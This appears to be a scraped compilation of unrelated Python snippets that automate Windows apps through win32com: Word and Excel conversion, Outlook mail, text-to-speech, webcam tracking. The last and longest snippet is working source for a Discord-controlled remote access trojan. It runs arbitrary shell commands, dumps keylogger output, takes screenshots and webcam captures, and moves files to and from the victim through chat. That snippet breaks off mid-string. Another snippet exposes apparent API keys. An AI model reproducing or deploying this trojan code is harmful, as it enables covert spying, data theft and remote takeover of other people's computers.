#!/usr/bin/env python # -*- coding: utf-8 -*- # Created by xiaoqin00 on 2017/7/11 from win32com import client as wc import os from optparse import OptionParser word = wc.Dispatch('Word.Application') def wordsToHtml(input, output): # for path, subdirs, files in os.walk(dir): # for wordFile in files: # wordFullName = os.path.join(path, wordFile) # print "word:" + wordFullName doc = word.Documents.Open(os.path.abspath(input)) wordFile2 = unicode(input, "gbk") dotIndex = wordFile2.rfind(".") if (dotIndex == -1): print "********************ERROR: 未取得后缀名!" fileSuffix = wordFile2[(dotIndex + 1):] if (fileSuffix == "doc" or fileSuffix == "docx"): # fileName = wordFile2[: dotIndex] # htmlName = fileName + ".html" htmlFullName = os.path.join(unicode(os.getcwd(), "gbk"), output) # htmlFullName = unicode(path, "gbk") + "\\" + htmlName print "generate html:" + htmlFullName doc.SaveAs(htmlFullName, 10) #将word转存为html
import win32com.client as wincl import pyautogui as pg import webbrowser as wb speak = wincl.Dispatch("SAPI.SpVoice") speak.Speak("What's your name?") answer = pg.prompt("Enter your name.") if answer == "Lauren": speak.Speak("Hello" + answer + " nice to meet your.") elif answer == "Ella": speak.Speak("Hello" + answer + " it's you I've been looking for.") elif answer == "Mercy": speak.Speak("Hello" + answer + " Christmas is coming.") elif answer == "EC": speak.Speak("Hello" + answer + " is Mo your daddy?.") else: speak.Speak("Nice to meet you!") speak.Speak("What's your favorite TV show??") food = pg.promt("Enter your favorite TV show") if show == "New Girl or How I Met Your Mother": speak.Speak("No way! Me too!") wb.open("https://www.youtube.com/results?search_query=" + show)
def text2Speech(): text = e.get() speak = wincl.Dispatch("SAPI.SpVoice") speak.Speak(text)
import win32com.client as client outlook = client.Dispatch("Outlook.Application").GetNameSpace("MAPI") class ReadMail: def inbox_mail(self, folder): inbox_message = folder.Items.GetLast() inbox_latest_megs = self.common(inbox_message) return f"Inbox latest mail is:{inbox_latest_megs}" def sent_mail(self, folder): sentbox_message = folder.Items.GetLast() return f"Sentbox latest mail is: {self.common(sentbox_message)}" def drafts_mail(self, folder): drafts_message = folder.Items.GetLast() return f"Draftbox latest mail is: {self.common(drafts_message)}" def deleted_mail(self, folder): deleted_message = folder.Items.GetLast() return f"Deleated Box latest mail is: {self.common(deleted_message)}" def outbox_mail(self, folder): outbox_message = folder.Items.GetLast() return f"Outbox latest mail is: {self.common(outbox_message)}" def common(self, attribute): mail_address = self.message_mail_address(attribute) time = f"The mail received at: {self.message_time(attribute)}"
def __init__(self): self.instCpCybos = w32c.Dispatch("CpUtil.CpCybos") print("클래스 생성")
def OnNotifyFound(self, pNotify=None, pInstr=None): pInstr = client.Dispatch(pInstr) print("Found instrument:") print('--> Contract: %s' % pInstr.Get('Contract')) print('--> Exchange: %s' % pInstr.Get('Exchange'))
def hello_Tyler(self): speaker = win.Dispatch("SAPI.SpVoice") speaker.Speak("Hello Tyler, would you like to play a game?") clear_widgets()
import cv2 import numpy as np import time import win32com.client as comclt cam = cv2.VideoCapture(0) time.sleep(5) colorArray = np.zeros((COLOR_ROWS, COLOR_COLS, 3), dtype=np.uint8) happy = [255, 184, 195] bandage = [255, 255, 255] fun = [93, 179, 115] medicine = [107, 116, 131] wsh = comclt.Dispatch("WScript.Shell") wsh.AppActivate("Made in GameMaker Studio 2") while True: time.sleep(.1) ret, frame = cam.read() #cv2.imshow('webcam', frame) #cv2.imshow('Color', colorArray) colorArray[:] = frame[305, 280, :] rgb = frame[305, 280, [2, 1, 0]] if np.all(rgb == happy): wsh.SendKeys("q") if np.all(rgb == fun): wsh.SendKeys("e") if np.all(rgb == bandage): wsh.SendKeys("w") if np.all(rgb == medicine): wsh.SendKeys("r")
iter = sys.argv[1] start = datetime.now() print( "--------------------------------------------------------------------------------------------------------" ) print("Document Name:", iter) print( "CheckList Rule - 23: Acronyms, definition and abbreviations content check (bidirectional)." ) print("Document Review Start Time:", start, "HH:MM:SS") print( "--------------------------------------------------------------------------------------------------------" ) print("\n") if iter.endswith('.doc') or iter.endswith('.docx'): word1 = win32.Dispatch("Word.Application") word1.Visible = True p = os.path.abspath(iter) word1.Documents.Open(p) sheet_1 = word1.ActiveDocument para = sheet_1.Paragraphs def get_table_count(): return sheet_1.Tables.Count def count_table_rows(table): return table.Rows.Count def count_table_columns(table): return table.Columns.Count
def setConnect(self, connect): self.connect = connect self.cmd = wc.Dispatch("ADODB.Command") self.cmd.ActiveConnection = self.connect.conn
def connect(self): return client.Dispatch("V82.ComConnector").connect(self.path_1C)
# -*- coding: utf-8 -*- """ Created on Tue Dec 15 13:10:13 2020 @author: gmart """ import win32com.client as win32 import time #prezentacja musi być włączona zanim wywołamy kod #tutaj definiujemy sciezke do pliku - zakladam, ze jest w folderze projektu filename = 'start.pptx' powerpoint = win32.Dispatch('PowerPoint.Application') presentation = powerpoint.Presentations.Open(FileName=filename, ReadOnly=1) presentation.SlideShowSettings.Run() def presentation_control(wynik): if wynik == 'Start': #pierwszy slajd presentation.SlideShowWindow.View.First() elif wynik == 'Stop': #koniec pokazu slajdów presentation.SlideShowWindow.View.Exit() powerpoint.Quit() elif wynik == 'Następny': #następny slajd
def initSem(self): if self.semInitialised: return self._sem = client.Dispatch(self.ole) self._sem.InitialiseRemoting() self.semInitialised = True
def lt_proc(): if win32_com: from win32com import client as com_client com_client.Dispatch("Msxml2.DOMDocument")
#!c:/Program%Files/Python36 python.exe # Author: Charles Badami # Date: 7/19/19 # Program Name: PyWake ''' Description/Purpose: This program, in conjunction with Windows 10 Task Scheduler and Outlook mail client, sends a notification email to the owner of a workstation upon waking from sleep. This is merely a basic template and can be modified with different parameters, to include attachments, etc. ''' #Module that allows control of Outlook import win32com.client as win32 #Create and send simple email. mail = win32.Dispatch('outlook.application').CreateItem(0) mail.To = '*****@*****.**' #Replace with actual recipient address mail.Subject = 'PyWake Trigger' mail.Body = 'Your workstation is awake!' #Can add modifications, such as adding attachments mail.Send()
if __name__ == "__main__": args = parser.parse_args() filename = f"{args.soundfile}.wav" if args.soundfile else None timer = args.time[0] time_left = int(timer) * 60 while time_left: minutes, seconds = divmod(time_left, 60) print(f"Time left: - {minutes:02d}:{seconds:02d}", end="\r") time.sleep(1) time_left -= 1 else: minutes, seconds = divmod(time_left, 60) print(f"Time left: - {minutes:02d}:{seconds:02d}", end="\n") if os.getenv("DEN_ROOT") and filename: cfg_root = Path(os.getenv("DEN_ROOT")) soundfile = cfg_root / "files" / "systemsounds" / filename elif filename: cwd = Path(".") soundfile = cwd / filename else: soundfile = Path("") if soundfile.is_file(): winsound.PlaySound(str(soundfile), winsound.SND_FILENAME) else: voice = wincl.Dispatch("SAPI.SpVoice") voice.Speak("The timer has finished")
def f3(): time.sleep(37) p = 0 #Temperature p1 = 0 #Blink_Warning p2 = 0 #Blink_Danger p3 = 0 #Humidity p4 = 0 #Flame p5 = 0 #Vibration p6 = 0 #Collision #READ_API_KEY_1='4W5UVHGWABFCNU0E' #CHANNEL_ID_1= '562330' READ_API_KEY_1 = 'TIV70K9YECFW8T0C' CHANNEL_ID_1 = '566179' speak = wincl.Dispatch("SAPI.SpVoice") while True: h0 = 0 h1 = 0 h2 = 0 ch = thingspeak.Channel(id=CHANNEL_ID_1, api_key=READ_API_KEY_1) x = ch.get_field_last(1) a1 = convert(x) #Temperature x = ch.get_field_last(3) a3 = convert(x) #Blink rate x = ch.get_field_last(6) a6 = convert(x) #Speed x = ch.get_field_last(2) a2 = convert(x) #Humidity x = ch.get_field_last(7) a7 = convert(x) #Flame x = ch.get_field_last(5) a5 = convert(x) #Vibration #x=ch.get_field_last(4) #a4=convert(x)#Collision a4 = 0 if (a1 > 29 and p == 0): send_mail('*****@*****.**', 'Warning!', 'Temperature of package compromised') speak.Speak("Temperature Compromised") p = 1 if (a2 > 60 and p3 == 0): send_mail('*****@*****.**', 'Warning!', 'Humidity of package compromised') speak.Speak("Humidity Compromised") p3 = 1 if (a7 == 1 and p4 == 0): send_mail('*****@*****.**', 'Warning!', 'Flame Alert') speak.Speak("Flame Alert") p4 = 1 if (a5 > 18000 and p5 == 0): send_mail('*****@*****.**', 'Warning!', 'Vibration Alert') speak.Speak("Vibration Alert") p5 = 1 Reaction_dist = a4 * 0.3 Braking_dist = ((a4 / 10)**2) * 0.4 dist = Reaction_dist + Braking_dist + 100 if (dist >= a4 and p6 == 0): send_mail('*****@*****.**', 'Warning!', 'Slow Down') speak.Speak("Slow Down") p6 = 1 if (clf.predict([[a6, a3]]) == 2): h2 = h2 + 1 elif (clf.predict([[a6, a3]]) == 1): h1 = h1 + 1 elif (clf.predict([[a6, a3]]) == 0): h0 = h0 + 1 if (clf1.predict([[a6, a3]]) == 2): h2 = h2 + 1 elif (clf1.predict([[a6, a3]]) == 1): h1 = h1 + 1 elif (clf1.predict([[a6, a3]]) == 0): h0 = h0 + 1 if (clf2.predict([[a6, a3]]) == 2): h2 = h2 + 1 elif (clf2.predict([[a6, a3]]) == 1): h1 = h1 + 1 elif (clf2.predict([[a6, a3]]) == 0): h0 = h0 + 1 if (clf3.predict([[a6, a3]]) == 2): h2 = h2 + 1 elif (clf3.predict([[a6, a3]]) == 1): h1 = h1 + 1 elif (clf3.predict([[a6, a3]]) == 0): h0 = h0 + 1 if (clf4.predict([[a6, a3]]) == 2): h2 = h2 + 1 elif (clf4.predict([[a6, a3]]) == 1): h1 = h1 + 1 elif (clf4.predict([[a6, a3]]) == 0): h0 = h0 + 1 if (max(h0, h1, h2) == h1 and p1 == 0): send_mail('*****@*****.**', 'Warning!\n', 'Accident Warning') p1 = 1 for e in range(5): speak.Speak("Accident Warning") elif (max(h0, h1, h2) == h2 and p2 == 0): send_mail('*****@*****.**', 'Warning!\n', 'Accident Danger') p2 = 1 for e in range(5): speak.Speak("Accident Danger")
import win32com.client as wc #启动Excel应用 excel_app = wc.Dispatch('Excel.Application') #连接excel workbook = excel_app.Workbooks.Open( r'C:/Users/eas/source/repos/PengboNewsApi/PengboNewsApi/epplus_bug.xlsx') #写入数据 workbook.ActiveSheet.Cells(11, 11).Style.Locked = 1 workbook.ActiveSheet.Protect("123", 1) #关闭并保存 #excel_app.Visible =1 workbook.Save() excel_app.Application.Quit()
def OnNotifyNotFound(self, pNotify=None, pInstr=None): pInstr = client.Dispatch(pInstr) print('Unable to find instrument')
import config import datetime import docx from tkinter import * con=config.con #загружаем сверточные нейросети с официального сайта dlib sp = dlib.shape_predictor('shape_predictor_68_face_landmarks.dat') #сверточная нейросеть выделения на фотографии лица с помощью 68 ключевых точек facerec = dlib.face_recognition_model_v1('dlib_face_recognition_resnet_model_v1.dat') #сверточная нейросеть выделяющая дискриптор из лиц detector = dlib.get_frontal_face_detector() ready_to_detect_identity = True windows10_voice_interface = wincl.Dispatch("SAPI.SpVoice") path_log_file='Logs\\login.docx' doc = docx.Document() def webcam_face_recognizer(login): global ready_to_detect_identity finishTime = datetime.datetime.now() + datetime.timedelta(seconds=15) #cv2.namedWindow("preview") vc = cv2.VideoCapture(0) while vc.isOpened(): #включение вебкамеры _, frame = vc.read()
def word2html(path, html_path, end_para_no, QueStyle_para_no, main_txt_path): Questions = [] single = {} multiple = {} judgment = {} fillin = {} subjective = {} english = {} word = client.Dispatch('Word.Application') word.Visible = 0 word.DisplayAlerts = 0 doc = word.Documents.Open(path) doc.SaveAs(html_path + '.html', 10) # 选用 wdFormatFilteredHTML的话公式图片将存储为gif格式 doc.Close() word.Quit() file_path = html_path + '.html' htmlfile = open(file_path, 'r', encoding='gb2312') htmlhandle = htmlfile.read() soup = BeautifulSoup(htmlhandle, 'lxml') r1 = r'<span .*?>【题文】\S+</span>' r2 = r'<span .*?>【题文】</span>' r3 = r'<span .*?>【答案】\S+</span>' r4 = r'<span .*?>【答案】</span>' r5 = r'<span .*?>【解析】\S+</span>' r6 = r'<span .*?>【解析】</span>' style_no = 0 for p in range(len(QueStyle_para_no) - 1): i = 1 question = "" answer = "" analysis = "" for item in soup.find_all('p'): if QueStyle_para_no[p] <= i < QueStyle_para_no[p + 1]: if re.match(r"【题文】", item.text) is not None: line = str(item) if re.search(r1, line): line = line.replace("【题文】", "") if re.search(r2, line): m = re.search(r2, line) line = line.replace(m.group(0), "") question += line if re.match(r"【答案】", item.text) is not None: line = str(item) if re.search(r3, line): line = line.replace("【答案】", "") if re.search(r4, line): m = re.search(r4, line) line = line.replace(m.group(0), "") answer += line if re.match(r"【解析】", item.text) is not None: line = str(item) if re.search(r5, line): line = line.replace("【解析】", "") if re.search(r6, line): m = re.search(r6, line) line = line.replace(m.group(0), "") analysis += line if re.match(r"【结束】", item.text): mm = {} mm['type'] = style['%s' % str(p)] mm['question'] = question mm['answer'] = answer mm['analysis'] = analysis print(mm) Questions.append(mm) question = "" answer = "" analysis = "" # tihao += 1 i += 1 style_no = p question = "" answer = "" analysis = "" i = 1 for item in soup.find_all('p'): if QueStyle_para_no[-1] <= i <= end_para_no[-1]: if re.compile(r"【题文】").match(item.text) is not None: line = str(item) if re.search(r1, line): line = line.replace("【题文】", "") if re.search(r2, line): m = re.search(r2, line) line = line.replace(m.group(0), "") question += line if re.compile(r"【答案】").match(item.text) is not None: line = str(item) if re.search(r3, line): line = line.replace("【答案】", "") if re.search(r4, line): m = re.search(r4, line) line = line.replace(m.group(0), "") answer += line if re.compile(r"【解析】").match(item.text) is not None: line = str(item) if re.search(r5, line): line = line.replace("【解析】", "") if re.search(r6, line): m = re.search(r6, line) line = line.replace(m.group(0), "") analysis += line if item.text == "【结束】": mm = {} mm['type'] = style['%s' % str(style_no + 1)] mm['question'] = question mm['answer'] = answer mm['analysis'] = analysis print(mm) Questions.append(mm) i += 1
while is_stop != play_count: m = choice(music_list) if os.path.isfile(source_dir + '\\' + m) and m[-4:] in ('.wav', '.mp3'): try: print('正在播放音乐:', m) playsound(source_dir + '\\' + m) is_stop += 1 except: print('音乐播放失败:', m) else: if source_dir[-4:] in ('.wav', '.mp3'): try: print('正在播放音乐:', os.path.basename(source_dir)) playsound(source_dir) except: print('音乐播放失败:', os.path.basename(source_dir)) if __name__ == '__main__': # 将文本转为语音并播放 mpath = input('请输入音乐文件夹或音乐的路径:') list = mpath.split('\\') mpath = list[0] for i in range(1, len(list)): mpath = mpath + '\\\\' + list[i] text = '将要播放的音乐来源是:' + os.path.basename(mpath) print('音乐文件/文件夹路径:', mpath) sound = win.Dispatch('SAPI.SpVoice') sound.Speak(text) mp3_player(mpath, 10, 'random')
def startLoop(): global freq #cv2.namedWindow("webcam-feed") cam = cv2.VideoCapture(0) base = cv2.imread(path1) if cam.isOpened(): # try to get the first frame ret, frame = cam.read() else: ret = False frames = 1 timer = 0 img_counter = 0 while ret: ret, frame = cam.read() frame = cv2.flip(frame, 1) #color = np.uint8([[[blue, green, red]]]) #hsv_color = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) #defining the Range of yellow color yellow_lower = np.array([22, 60, 120], np.uint8) yellow_upper = np.array([60, 255, 255], np.uint8) #finding the range of yellow color in the image yellow = cv2.inRange(hsv, yellow_lower, yellow_upper) #Morphological transformation, Dilation kernal = np.ones((5, 5), "uint8") yellow = cv2.dilate(yellow, kernal) res2 = cv2.bitwise_and(frame, frame, mask=yellow) ''' #Tracking the Red Color (_,contours,hierarchy)=cv2.findContours(red,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE) for pic, contour in enumerate(contours): area = cv2.contourArea(contour) if(area>300): x,y,w,h = cv2.boundingRect(contour) img = cv2.rectangle(frame,(x,y),(x+w,y+h),(0,0,255),2) cv2.putText(img,"RED color",(x,y),cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0,0,255)) ''' mask = np.zeros(frame.shape[:-1], np.uint8) height, width = frame.shape[:-1] mask1 = np.zeros((height + 2, width + 2), np.uint8) # line 26 cv2.floodFill(mask, mask1, (0, 0), 255) # line 27 #Tracking the yellow Color (_, contours, hierarchy) = cv2.findContours(yellow, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) areaMax = 200 x = 0 y = 0 w = 0 h = 0 area = 0 bigContour = None for pic, contour in enumerate(contours): area = cv2.contourArea(contour) if area > areaMax: areaMax = area bigContour = contour x, y, w, h = cv2.boundingRect(bigContour) frame = cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2) res2 = cv2.rectangle(res2, (x, y), (x + w, y + h), (0, 255, 0), 2) # Write some Text font = cv2.FONT_HERSHEY_SIMPLEX bottomLeftCornerOfText = (10, 500) position = (int(x + (w / 2)), int(y + (h / 2))) fontScale = 1 fontColor = (0, 255, 0) lineType = 1 cv2.putText(base, "+", position, font, fontScale, fontColor, lineType) cv2.imshow("Color Tracking", base) cv2.putText(res2, "+", position, font, fontScale, fontColor, lineType) #cv2.putText(res2,"yellow",(x,y),cv2.FONT_HERSHEY_SIMPLEX, 1.0, (0,255,0)) #cv2.imshow("Redcolour",red) #cv2.imshow("red",res) cv2.imshow("yellow", frame) frames += 1 timer = frames / fps if frames % 6 == 0: curr = (x, y) #beep_gps(curr,goal_index,coords) # ################################################################## goal_index = 2 # HARD CODED GOAL INDEX TO 1 ##################################################################### freq = beep_gps(curr, goal_index, new_coords1) speak_out = gps(curr, goal_index, new_coords1) print("X {} Y: {}".format(x, y)) #speak = wincl.Dispatch("SAPI.SpVoice") #speak.Speak(speak_out) #print("\a") frequency = 500 # Set Frequency To 2500 Hertz duration = 6 # Set Duration To 1000 ms == 1 second if freq == 1 and frames % 30 == 0: frequency = 100 winsound.Beep(frequency, duration) elif freq == 2 and frames % 24 == 0: frequency = 400 winsound.Beep(frequency, duration) elif freq == 3 and frames % 18 == 0: frequency = 1000 winsound.Beep(frequency, duration) elif freq == 4 and frames % 12 == 0: frequency = 1800 winsound.Beep(frequency, duration) elif freq == 5 and frames % 6 == 0: frequency = 2500 winsound.Beep(frequency, duration) print("Msg: {} at time : {} sec".format(speak_out, timer)) frame += 1 timer = frames / fps if speak_out == 'Reached': speak = wincl.Dispatch("SAPI.SpVoice") speak.Speak(speak_out) break key = cv2.waitKey(20) # milliseconds if frames % 30 == 0: print("Time: {} secs \r".format(timer), end="") if key == 27: # ESC pressed print("\nEscape hit, closing...") break if key == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) gray_image = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) #gray_image = cv2.flip(gray_image,1) cv2.imwrite(img_name, cv2.flip(frame, 1)) print("{} written!".format(img_name)) img_counter += 1 cam.release() cv2.destroyAllWindows() cv2.destroyWindow("yellow")
def merge_branch_file(filename, records_all): records_add = records_all[0] # records_modify = records_all[1] # records_modify_old = records_all[2] records_delete = records_all[3] f = get_branch_full_file_name(filename) if len(records_add) == 0 and len(records_delete) == 0: log("[Nothing Change] " + f) return log("[M] " + f) excel = None wb = None try: # http://stackoverflow.com/questions/5964805/implement-com-interface-type-library-in-python win32.gencache.EnsureModule('{00020813-0000-0000-C000-000000000046}', 0, 1, int(Application_Excel_Version[0])) excel = win32.Dispatch('Excel.Application.' + str(Application_Excel_Version[1])) excel.DisplayAlerts = False excel.Visible = 0 wb = excel.Workbooks.Open(f) ws = wb.Worksheets(1) used = ws.UsedRange row_count = used.Row + used.Rows.Count - 1 col_count = used.Column + used.Columns.Count - 1 # for debug # assert row_count == ws.Range('A65536').End(win32.constants.xlUp).Row # for debug # xlrd bug??? max col is less than win32com max col if len(records_add) > 0: while True: cell_value = ws.Cells(1, col_count).Value if col_count > len(records_add[0]) and cell_value is None: col_count -= 1 else: break if len(records_add) > 0 and (col_count > len(records_add[0])): log_error("[COL WARNING, Please Check This File By Yourself]:" + f) col_count = len(records_add[0]) # read all row id xls_row_ids = [] for r in range(2, row_count + 1): xls_row_ids.append(ws.Cells(r, 1).Value) # for record delete row_index = 1 row_need_delete = [] for r in xls_row_ids: row_index += 1 if r in records_delete: ws.Rows(row_index).Delete() row_index -= 1 row_need_delete.append(r) if row_count != (used.Row + used.Rows.Count - 1) + len(row_need_delete): # 某些文件row delete后, (used.Row + used.Rows.Count - 1)的值并不发生变化, 特殊处理一下。 row_count -= len(row_need_delete) else: assert used.Row + used.Rows.Count - 1 == row_count - len( row_need_delete) row_count = used.Row + used.Rows.Count - 1 # delete old for v in row_need_delete: xls_row_ids.remove(v) # because of title, so add 1 assert row_count == len(xls_row_ids) + 1 def get_excel_col_name(col): col = int(col) assert col >= 1 if col <= 26: return chr(ord('A') - 1 + col) if col % 26 == 0: return get_excel_col_name(col / 26 - 1) + 'Z' else: return get_excel_col_name(col / 26) + get_excel_col_name( col % 26) add_row_count = 0 for record in records_add: is_exist_record = False for r in range(2, row_count + 1): if to_int(xls_row_ids[r - 2]) == record[0]: is_exist_record = True ws.Range("A" + str(r), get_excel_col_name(len(record)) + str(r)).Value = record # for c in range(1, col_count + 1): # ws.Cells(r, c).Value = record[c - 1] break # insert new a row if not is_exist_record: add_row_count += 1 local_row = row_count + add_row_count ws.Range("A" + str(local_row), get_excel_col_name(len(record)) + str(local_row)).Value = record # for c in range(1, col_count + 1): # ws.Cells(row_count + add_row_count, c).Value = record[c - 1] wb.SaveAs(f) except pywintypes.com_error as e: log_error("[修改Excel文件失败]:" + f) finally: if wb: wb.Close()
def __init__(self, station): self.station = station self.status = "GREEN" # This will be used for stack lights. self.lang = self.station.output.getConfig('DEFAULT', 'lang') self.speak = wincl.Dispatch( "SAPI.SpVoice" ) if t2v else None # TODO adjust for different operating systems. self.voicePath = os.path.join(os.path.dirname(__file__), '../Voice/') mix.init() # Starts the pygame sound mixer self.lastcommands = None self.KH_samples = { # These files are available in ./Voices/ "freshstart": "nextpersoncanstart_KH.mp3", "complete": "finishedthankyou_KH.mp3", "clearall": "cancelledstartagain_KH.mp3", "missing": "pleasedontforgettoput_KH.mp3", "bcc": "bcccode_KH.mp3", "employee": "employeenumber_KH.mp3", "operationnumber": "operationnumber_KH.mp3", "startorfinish": "startorfinish_KH.mp3", "operation": "operation_KH.mp3", "ok": "ok_KH.mp3", "problem": "systemproblem_KH.mp3", "start": "start_KH.mp3", "stop": "stop_KH.mp3", "firsttime": "firsttime_KH.mp3", "secondtime": "secondtime_KH.mp3", "easterBarang": "barangSpeakKhmer_KH.mp3", "easterDutch": "egg_NL.mp3", "easterKhmer": "thanksReaksmey_KH.mp3", "imperialmarch": "imperialmarch.mp3", "peaceout": "yeahx3.mp3", # TODO place these mp3s "kdengkdeng": "kdeng.mp3", # TODO place these mp3s "point": "point_KH.mp3", 0: "zero_KH.mp3", 1: "one_KH.mp3", 2: "two_KH.mp3", 3: "three_KH.mp3", 4: "four_KH.mp3", 5: "five_KH.mp3", 6: "six_KH.mp3", 7: "seven_KH.mp3", 8: "eight_KH.mp3", 9: "nine_KH.mp3", 10: "ten_KH.mp3", 20: "twenty_KH.mp3", 30: "thirty_KH.mp3", 40: "forty_KH.mp3", 50: "fifty_KH.mp3", 60: "sixty_KH.mp3", 70: "seventy_KH.mp3", 80: "eighty_KH.mp3", 90: "ninety_KH.mp3", 100: "hundred_KH.mp3" } self.EN_t2v_samples = { # For use with the system builtin text2speech functionality "freshstart": "Ready for new operation.", "complete": "Finished, thank you.", "clearall": "All cleared.", "missing": "Don't forget to put", "bcc": "BCC number", "employee": "Employee number", "operationnumber": "Operation number", "startorfinish": "if you are starting or finishing.", "operation": "operation", "ok": "OK", "problem": "Sorry, the system has a problem. Please call a supervisor." } print("SFX initialised")
def getFore(): appID = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" shellwindows2 = win32.Dispatch(appID) hwnd = win32gui.GetForegroundWindow() print(shellwindows2[hwnd].LocationURL)
print(agentName2, accountNumber2, orderNumber2, DEPPName, orderStatus2) html += (rowOpenTag + agentNameOpenTag + agentName2 + agentNameCloseTag + acctNumOpenTag + accountNumber2 + acctNumCloseTag + orderNumOpenTag + orderNumber2 + orderNumCloseTag + DEPPNameOpenTag + DEPPName + DEPPNameCloseTag + orderStatusOpenTag + orderStatus2 + orderStatusCloseTag + rowCloseTag) html += tableCloseTag + emailEndHtml # ------------------------------------------------------------------------------ # send email # ------------------------------------------------------------------------------ outlook = win32.Dispatch('outlook.application') mail = outlook.CreateItem(0) try: # subject = 'iQor DEPP MTD as of ' + currentDate + ' ' + currentTime # print("Arguments[0] is: ", arguments[0]) subject = 'iQor DEPP October Final' additionalEmailList = "; ".join(arguments[0:]) mail.To = additionalEmailList + '; [email protected]' mail.Subject = subject mail.HtmlBody = subject + ":" + html mail.send except: # subject = 'iQor DEPP MTD as of ' + currentDate + ' ' + currentTime subject = 'iQor DEPP October Final' mail.To = '*****@*****.**'
import docx import os from win32com import client from docx import Document from docx.shared import Pt from docx.oxml.ns import qn #将doc文件转换为docx log = input("请输入要转换的文件的位置:") cov = input("请输入转换后文件的保存位置:") pathfile = os.listdir(log) for filename in pathfile: filedir = log + '/' + filename print(filename) filelist = filename.strip('.').split('.') if filelist[4] == "doc": print(filedir) ip = '.'.join(filelist[:4]) print(ip) word = client.Dispatch('Word.Application') doc = word.Documents.Open(filedir) # 目标路径下的文件 doc.SaveAs(cov + '/' + ip + ".docx", 16) # 转化后路径下的文件 doc.Close() else: continue
async def on_message(message): if message.channel.name != channel_name: pass else: if message.content.startswith("!kill"): if message.content[6:] == "all": for y in range(len(on_ready.total)): if "session" in on_ready.total[y]: channel_to_delete = discord.utils.get( client.get_all_channels(), name=on_ready.total[y]) await channel_to_delete.delete() else: pass else: try: channel_to_delete = discord.utils.get( client.get_all_channels(), name=message.content[6:]) await channel_to_delete.delete() await message.channel.send( f"[*] {message.content[6:]} killed.") except: await message.channel.send( f"[!] {message.content[6:]} is invalid,please enter a valid session name" ) if message.content == "!dumpkeylogger": import os temp = os.getenv("TEMP") file_keys = os.path.join(os.getenv('TEMP') + "\\key_log.txt") file = discord.File(file_keys, filename=file_keys) await message.channel.send("[*] Command successfully executed", file=file) os.remove(os.path.join(os.getenv('TEMP') + "\\key_log.txt")) if message.content == "!exit": exit() if message.content == "!windowstart": import threading global stop_threads stop_threads = False global _thread _thread = threading.Thread(target=between_callback, args=(client, )) _thread.start() await message.channel.send( "[*] Window logging for this session started") if message.content == "!windowstop": stop_threads = True await message.channel.send( "[*] Window logging for this session stopped") game = discord.Game(f"Window logging stopped") await client.change_presence(status=discord.Status.online, activity=game) if message.content == "!screenshot": import os from mss import mss with mss() as sct: sct.shot( output=os.path.join(os.getenv('TEMP') + "\\monitor.png")) file = discord.File( os.path.join(os.getenv('TEMP') + "\\monitor.png"), filename="monitor.png") await message.channel.send("[*] Command successfully executed", file=file) os.remove(os.path.join(os.getenv('TEMP') + "\\monitor.png")) if message.content == "!volumemax": volumeup() await message.channel.send("[*] Volume put to 100%") if message.content == "!volumezero": volumedown() await message.channel.send("[*] Volume put to 0%") if message.content == "!webcampic": #Downloads a file over internet which is not great but avoids using opencv/numpy which helps reducing final exe file if compiled import os import urllib.request from zipfile import ZipFile directory = os.getcwd() try: os.chdir(os.getenv('TEMP')) urllib.request.urlretrieve( "https://www.nirsoft.net/utils/webcamimagesave.zip", "temp.zip") with ZipFile("temp.zip") as zipObj: zipObj.extractall() os.system("WebCamImageSave.exe /capture /FileName temp.png") file = discord.File("temp.png", filename="temp.png") await message.channel.send("[*] Command successfully executed", file=file) os.remove("temp.zip") os.remove("temp.png") os.remove("WebCamImageSave.exe") os.remove("readme.txt") os.remove("WebCamImageSave.chm") os.chdir(directory) except: await message.channel.send("[!] Command failed") if message.content.startswith("!message"): import ctypes import time MB_YESNO = 0x04 MB_HELP = 0x4000 ICON_STOP = 0x10 def mess(): ctypes.windll.user32.MessageBoxW( 0, message.content[8:], "Error", MB_HELP | MB_YESNO | ICON_STOP) #Show message box import threading messa = threading.Thread(target=mess) messa._running = True messa.daemon = True messa.start() import win32con import win32gui import time time.sleep(1) hwnd = win32gui.FindWindow(None, "Error") win32gui.ShowWindow( hwnd, win32con.SW_RESTORE) #Put message to foreground win32gui.SetWindowPos(hwnd, win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) win32gui.SetWindowPos(hwnd, win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) win32gui.SetWindowPos( hwnd, win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_SHOWWINDOW + win32con.SWP_NOMOVE + win32con.SWP_NOSIZE) if message.content.startswith("!wallpaper"): import ctypes import os path = os.path.join(os.getenv('TEMP') + "\\temp.jpg") await message.attachments[0].save(path) ctypes.windll.user32.SystemParametersInfoW(20, 0, path, 0) await message.channel.send("[*] Command successfully executed") if message.content.startswith("!upload"): await message.attachments[0].save(message.content[8:]) await message.channel.send("[*] Command successfully executed") if message.content.startswith("!shell"): global status import time status = None import subprocess import os instruction = message.content[7:] def shell(): output = subprocess.run(instruction, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE) global status status = "ok" return output import threading shel = threading.Thread( target=shell ) #Use of threading and a global variable to avoid hanging if command is too long to produce an output (probably a better way to do this) shel._running = True shel.start() time.sleep(1) shel._running = False if status: result = str( shell().stdout.decode('CP437') ) #CP437 Decoding used for characters like " é " etc.. print(result) numb = len(result) print(numb) if numb < 1: await message.channel.send( "[*] Command not recognized or no output was obtained") elif numb > 1990: f1 = open("output.txt", 'a') f1.write(result) f1.close() file = discord.File("output.txt", filename="output.txt") await message.channel.send( "[*] Command successfully executed", file=file) os.popen("del output.txt") else: await message.channel.send( "[*] Command successfully executed : " + result) else: await message.channel.send( "[*] Command not recognized or no output was obtained") status = None if message.content.startswith("!download"): file = discord.File(message.content[10:], filename=message.content[10:]) await message.channel.send("[*] Command successfully executed", file=file) if message.content.startswith("!cd"): import os os.chdir(message.content[4:]) await message.channel.send("[*] Command successfully 